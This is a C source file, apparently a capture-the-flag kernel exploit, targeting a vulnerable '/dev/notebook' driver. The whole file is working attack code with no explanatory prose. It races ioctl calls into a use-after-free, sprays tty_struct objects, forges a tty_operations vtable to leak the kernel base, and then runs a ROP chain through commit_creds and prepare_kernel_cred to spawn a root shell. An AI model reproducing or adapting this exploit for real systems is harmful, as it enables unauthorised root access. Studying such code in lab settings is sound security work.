1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #define __USE_GNU #include <sched.h> #include <x86intrin.h> #include <pthread.h> #include <sys/sysinfo.h> #include <errno.h> #define uint64_t u_int64_t
#define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144
#define MAP_ADDR 0x1000000
#define TTY_STRUCT_SIZE 0x2e0 #define SPRAY_ALLOC_TIMES 0x100
int spray_fd[0x100];
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); const struct file_operations *proc_fops; };
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
size_t commit_creds_addr=0, prepare_kernel_cred_addr=0;
void get_root() { commit_creds(prepare_kernel_cred(0)); }
unsigned long user_cs; unsigned long user_ss; unsigned long user_sp; unsigned long user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"); }
static void win() { char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; puts("[+] Win!"); execve("/bin/sh", argv, envp); }
typedef struct userarg{ uint64_t idx; uint64_t size; char* buf; }Userarg;
typedef struct node{ uint64_t note; uint64_t size; }Node;
Userarg arg; Node note[0x10];
uint64_t ko_base = 0; char buf[0x1000] = {0};
int gift(uint64_t fd,char* buf){ memset(&arg, 0, sizeof(Userarg)); memset(buf, 0xcc, 0); arg.buf = buf; return ioctl(fd,100,&arg); }
int add(uint64_t fd,uint64_t idx,uint64_t size,char* buf){ memset(&arg, 0, sizeof(Userarg)); arg.idx = idx; arg.size = size; arg.buf = buf; return ioctl(fd,0x100,&arg); }
int del(uint64_t fd,uint64_t idx){ memset(&arg, 0, sizeof(Userarg)); arg.idx = idx; return ioctl(fd,0x200,&arg); }
int edit(uint64_t fd,uint64_t idx,uint64_t size,char* buf){ memset(&arg, 0, sizeof(Userarg)); arg.idx = idx; arg.size = size; arg.buf = buf; return ioctl(fd,0x300,&arg); }
size_t find_symbols() { int kallsyms_fd = open("/tmp/moduleaddr", O_RDONLY);
if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } read(kallsyms_fd,buf,24); char hex[20] = {0}; read(kallsyms_fd,hex,18); sscanf(hex, "%llx", &ko_base); printf("ko_base addr: %#lx\n", ko_base); }
size_t vmlinux_base = 0; size_t raw_vmlinux_base = 0xffffffff81000000; size_t raw_do_tty_hangup = 0xffffffff815af980; size_t raw_commit_creds = 0xffffffff810a9b40; size_t raw_prepare_kernel_cred = 0xffffffff810a9ef0; size_t raw_regcache_mark_dirty = 0xffffffff816405b0; size_t raw_x64_sys_chmod = 0xffffffff81262280; size_t raw_msleep = 0xffffffff81102360;
size_t raw_pop_rdi = 0xffffffff81007115; size_t raw_pop_rdx = 0xffffffff81358842; size_t raw_pop_rcx = 0xffffffff812688f3;
size_t raw_mov_rdi_rax = 0xffffffff8147901d;
size_t raw_pop_rax = 0xffffffff81540d04; size_t raw_mov_rdi_rbx = 0xffffffff824f6a4c; size_t raw_pop_rsi = 0xffffffff8143438e; size_t raw_push_rax = 0xffffffff81035b63; size_t raw_pop_rdi_call = 0xffffffff81f0b51c; size_t raw_xchg_eax_esp = 0xffffffff8101d247;
size_t raw_mov_cr4_rdi = 0xffffffff81063710;
size_t base_add(size_t addr){ return addr - raw_vmlinux_base + vmlinux_base; }
int main() { find_symbols(); int fd = open("/dev/notebook", O_RDWR); if (fd < 0) { puts("[*]open notebook error!"); exit(0); }
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
save_state(); memset(fake_tty_operations, 0, sizeof(struct tty_operations));
START: for (int i = 0; i < 0x10; i++) { del(fd,i); }
for (int i = 0; i < 0x10; i+=2) { edit(fd, i, 0x2e0, "will"); } pid_t pid = fork(); if (!pid) { sleep(1); for (int i = 0; i < 0x10; i+=2) { edit(fd, i, 0, 0); sleep(0.1); } return 0; } else { for (int i = 0;i < 0x10;i+=2){ gift(fd, buf); while (*(uint64_t *)(buf + i * 0x10 + 8)) { gift(fd, buf); } edit(fd,i+1,0x2e0,"temp"); edit(fd,i,0x2e0,"temp"); } gift(fd, buf); for (int i = 0;i < 0x10;i++){ note[i].note = *(uint64_t *)(buf + i * 0x10); note[i].size = *(uint64_t *)(buf + i*0x10 + 8); printf("note[%d] addr: %#lx , size: %d\n", i, *(uint64_t *)(buf + i * 0x10), *(uint64_t *)(buf + i*0x10 + 8)); } }
int x = -1,y = -1; for (int i = 0;i < 0x10;i++){ for (int j = i + 1;j < 0x10;j++){ if (note[i].note == note[j].note && note[i].note){ x = i; y = j; break; } } if (x != -1 && y != -1) break; } if (x == -1 || y == -1) goto START; else{ printf("x idx : %d\n",x); printf("y idx : %d\n",y); }
del(fd,y); puts("[+] Spraying buffer with tty_struct"); for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) { spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (spray_fd[i] < 0) { perror("open tty"); } } char tmp[0x2e0] = {0}; read(fd,tmp,x); if (tmp[0] != 0x01 || tmp[1] != 0x54) { puts("[-] tty_struct spray failed"); printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]); puts("[-] Exiting..."); exit(-1); }
char tty_buf[0x200] = {0} ; memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations)); edit(fd,y, sizeof(struct tty_operations), "1"); write(fd, tty_buf, y); gift(fd, buf); uint64_t fake_vtable = *(uint64_t *)(buf + 0x10*y);
uint64_t *temp = (uint64_t*)&tmp[24]; uint64_t old_vtable = *temp; *temp = fake_vtable; printf("old vtable is %p\n", old_vtable); write(fd,tmp,x); vmlinux_base = old_vtable - 0xe8e440; printf("kerbel base is %p\n", vmlinux_base);
size_t xchg_eax_esp = base_add(raw_xchg_eax_esp); size_t base = xchg_eax_esp & 0xfffff000; void *map_addr = mmap((void *)base,0x3000,7,MAP_PRIVATE | MAP_ANONYMOUS,-1,0); if(base != (uint64_t)map_addr){ printf("mmap failed!n"); exit(-1); }
fake_tty_operations->ioctl = base_add(raw_regcache_mark_dirty); memset(tty_buf,0,0x200); memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations)); write(fd, tty_buf, y);
*((uint64_t *)(tmp)+0x20/8+3) = base_add(raw_mov_cr4_rdi); *((uint64_t *)(tmp)+0x28/8+3) = xchg_eax_esp; *((uint64_t *)(tmp)+0x30/8+3) = 0x6f0; write(fd,tmp,x);
size_t pop_rdi = base_add(raw_pop_rdi); size_t pop_rdx = base_add(raw_pop_rdx); size_t mov_rdi_rax = base_add(raw_mov_rdi_rax); size_t pop_rsi = base_add(raw_pop_rsi); prepare_kernel_cred_addr = base_add(raw_prepare_kernel_cred); commit_creds_addr = base_add(raw_commit_creds); size_t xor_edi_edi = base_add(0xffffffff8105c0e0);
size_t swapgs_restore_regs_and_return_to_usermode = base_add(0xffffffff81a0095f);
size_t rop[0x50]; char* flag_str = "/flag\x00"; int i=0; rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred_addr; rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = xor_edi_edi; rop[i++] = mov_rdi_rax; rop[i++] = 0; rop[i++] = commit_creds_addr; rop[i++] = swapgs_restore_regs_and_return_to_usermode; rop[i++] = 0; rop[i++] = 0; rop[i++] = (unsigned long)&win; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
memcpy((void *)(xchg_eax_esp&0xffffffff),rop,sizeof(rop));
printf("vtable addr : %p\n", fake_vtable); printf("regcache_mark_dirty addr : %p\n", base_add(raw_regcache_mark_dirty)); char x_buf[10]; read(0,x_buf, 10);
puts("[+] Triggering"); for (int i = 0;i < SPRAY_ALLOC_TIMES; i++) { ioctl(spray_fd[i], 0, 0); } return 0; }
|